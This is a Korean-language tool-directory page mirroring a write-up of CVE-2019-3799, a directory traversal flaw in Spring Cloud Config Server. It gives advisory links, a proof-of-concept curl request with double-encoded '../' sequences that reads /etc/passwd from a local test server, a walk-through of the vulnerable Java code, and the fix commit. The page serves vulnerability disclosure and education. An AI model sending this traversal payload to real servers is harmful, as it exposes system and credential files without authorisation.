Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-3799 — CVE-2019-3799 - Spring Cloud Config Server: 디렉터리 트래버설 < 2.1.2, 2.0.4, 1.4.6 | Kitploit
도구/GitHubGitHub/mpgn/cve-2019-3799
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmpgn/cve-2019-3799

CVE-2019-3799

CVE-2019-3799 - Spring Cloud Config Server: 디렉터리 트래버설 < 2.1.2, 2.0.4, 1.4.6

저장소 보기
31547년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-3799 - Spring-Cloud-Config-Server 디렉터리 트래버설 < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config Server는 2.1.2, 2.0.4, 1.4.6 미만 버전에서 디렉터리 트래버설 / 경로 트래버설 / 파일 내용 노출 취약점의 영향을 받습니다.

Spring Cloud Config 2.1.2 이전의 2.1.x 버전, 2.0.4 이전의 2.0.x 버전, 1.4.6 이전의 1.4.x 버전 및 지원이 종료된 구버전에서는 spring-cloud-config-server 모듈을 통해 애플리케이션이 임의의 구성 파일을 제공할 수 있습니다. 악의적인 사용자 또는 공격자는 특수하게 조작된 URL로 요청을 보내 디렉터리 트래버설 공격을 유발할 수 있습니다.

capture d'écran_1

발견자: Vern ([email protected])

보안 권고

  • https://pivotal.io/security/cve-2019-3799
  • https://spring.io/blog/2019/04/17/cve-2019-3799-spring-cloud-config-2-1-2-2-0-4-1-4-6-released

기술 분석

  • https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/

개념 증명(PoC)

  1. 취약한 버전의 Spring Cloud Config를 다운로드합니다. https://github.com/spring-cloud/spring-cloud-config
  2. 애플리케이션을 실행합니다.
cd spring-cloud-config-server                                                                                                                                                                     
../mvnw spring-boot:run
  1. 익스플로잇
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd                                                                                                    

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

취약점

언제나 그렇듯이, 문서를 읽으면 관련 정보를 찾을 수 있습니다:

일반 텍스트 파일 제공: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text

Config Server는 /{name}/{profile}/{label}/{path} 엔드포인트를 통해 이러한 파일을 추가로 제공합니다. 여기서 "name", "profile", "label"은 일반 환경 엔드포인트와 동일한 의미를 가지며, "path"는 파일 이름입니다(예: log.xml).

서버는 /{name}/{profile}/{label}/{path} 엔드포인트를 통해 이러한 파일을 추가로 제공합니다.

문서에서 얻을 수 있는 또 다른 흥미로운 정보:

VCS 기반 백엔드(git, svn)에서는 파일이 로컬 파일 시스템에 체크아웃 또는 클론됩니다. 기본적으로 config-repo- 접두사가 붙은 시스템 임시 디렉터리에 저장됩니다. 예를 들어 Linux에서는 /tmp/config-repo-가 될 수 있습니다.

http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd 를 보내면 어떤 일이 발생할까요?

  1. 요청은 다음에 매핑됩니다.

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L71

@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
    @PathVariable String label, ServletWebRequest request,
    @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
    throws IOException {
  String path = getFilePath(request, name, profile, label);
  return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
  1. retrieve 함수가 findOne 함수를 호출합니다.

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L103

synchronized String retrieve(ServletWebRequest request, String name, String profile,
    String label, String path, boolean resolvePlaceholders) throws IOException {
  name = resolveName(name);
  label = resolveLabel(label);
  Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
  if (checkNotModified(request, resource)) {
    // Content was not modified. Just return.
    return null;
  }
  // ensure InputStream will be closed to prevent file locks on Windows
  try (InputStream is = resource.getInputStream()) {
    String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
    if (resolvePlaceholders) {
      Environment environment = this.environmentRepository.findOne(name,
          profile, label);
      text = resolvePlaceholders(prepareEnvironment(environment), text);
    }
    return text;
  }
}
  1. findOne 함수가 호출됩니다:
public synchronized Resource findOne(String application, String profile, String label, String path) {
  if (StringUtils.hasText(path)) {
    String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
    try {
      for (int i = locations.length; i-- > 0; ) {
        String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
        for (String local : getProfilePaths(profile, path)) {
            Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            if (file.exists() && file.isReadable()) {
                return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            }
          }
        }
      }
    }
    catch (IOException e) {
        throw new NoSuchResourceException(
                "Error : " + path + ". (" + e.getMessage() + ")");
    }
  }
  throw new NoSuchResourceException("Not found: " + path);
}
  1. 그런 다음 retrieve 함수가 StreamUtils.copyToString(is, Charset.forName("UTF-8")로 파일을 읽어 /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd를 /etc/passwd로 변환하며, 그 결과 /etc/passwd 파일이 노출됩니다.

capture d'écran_4


수정: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

capture d'écran

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths

fixes gh-1355
---
 .../resource/GenericResourceRepository.java   | 165 ++++++++++++++++--
 .../GenericResourceRepositoryTests.java       |  18 ++
 2 files changed, 170 insertions(+), 13 deletions(-)
도구 다운로드